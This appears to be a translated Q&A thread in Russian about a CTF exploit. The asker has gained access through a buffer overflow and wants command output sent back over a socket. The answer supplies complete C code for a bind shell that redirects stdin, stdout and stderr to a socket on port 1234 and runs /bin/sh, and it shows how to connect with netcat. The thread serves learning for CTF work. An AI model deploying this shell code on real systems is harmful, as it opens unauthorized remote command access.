Как я могу использовать bufferoverflow для удаленного выполнения программы и записи вывода в сокет?

Я работаю над проблемой CTF, так что это не для каких-либо вредоносных целей. Я успешно использовал переполнение буфера для получения доступа к удаленной системе. Однако моя проблема заключается в том, что мне нужно одновременно выполнить команду в этой системе, а затем отправить мне результат этой команды.

Это было бы легко сделать, если бы это была не удаленная система, но, учитывая, что это так, моя основная идея сейчас состоит в том, чтобы использовать Netcat для передачи мне вывода команды. Я не знаю, как выполнить эту задачу, так как я не знаю, возможно ли сделать такую ​​вещь в байт-коде, особенно с ограниченным буферным пространством, с которым я работаю.

Еще одна возможность, о которой я мог подумать, - это выполнить netcat, а затем выполнить команду, которая печатает в стандартный формат - однако, я понимаю, что exec заменяет текущую программу новой. Так что, если я exec'd после exec'ing netcat, это закроет сокет и остановит netcat, верно?

Любые другие идеи будут оценены

1 ответ

Вместо того, чтобы писать свой шелл-код для вас, я предоставлю код C, который вы будете использовать для прослушивания порта для соединения, а затем, как только вы согласитесь, перенаправите STDIN, STDOUT, STDERR в файловый дескриптор соединения. Тогда вы можете запустить /bin/sh, Это должно позволить вам взаимодействовать с удаленным концом:

#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <string.h>
#include <unistd.h>

int main()
{
    struct sockaddr_in saddr;
    int connectionfd = 0;
    int socketfd = 0;

    char *argv[] = { "/bin/sh", 0 };

    bzero(&saddr, sizeof(saddr));
    socketfd = socket(AF_INET, SOCK_STREAM, 0);
    saddr.sin_family = AF_INET;
    saddr.sin_addr.s_addr = htonl(INADDR_ANY);
    saddr.sin_port = htons(1234);

    bind(socketfd, (struct sockaddr *)&saddr, sizeof(saddr));
    listen(socketfd, 8);
    connectionfd = accept(socketfd, (struct sockaddr *) NULL, NULL);
    dup2(connectionfd, 0);
    dup2(connectionfd, 1);
    dup2(connectionfd, 2);
    execve (argv[0], &argv[0], NULL);
}

Я подозреваю, что из вашего вопроса вы уже сделали большую часть этого, и вам действительно нужно сделать это dup2 STDIN, STDOUT, STDERR и сделать execve (или похожие).

Чтобы проверить это, запустите код сервера, а затем из той же системы:

nc localhost 1234

После запуска оболочки вы можете отправлять такие команды:

/bin/ls

Для отображения всех файлов в текущем каталоге. Без установленной переменной окружения path вы должны указать полный путь к программам, которые вы хотите запустить. Конечно, вам не нужно бежать /bin/sh Вы можете запустить любую программу, у которой есть права для запуска. /bin/sh был просто удобный выбор для теста.


Примечание: я прекратил все проверки на ошибки, потому что вы, скорее всего, не будете делать это из кода оболочки. Это означает демонстрацию голых костей.

Другие вопросы по тегам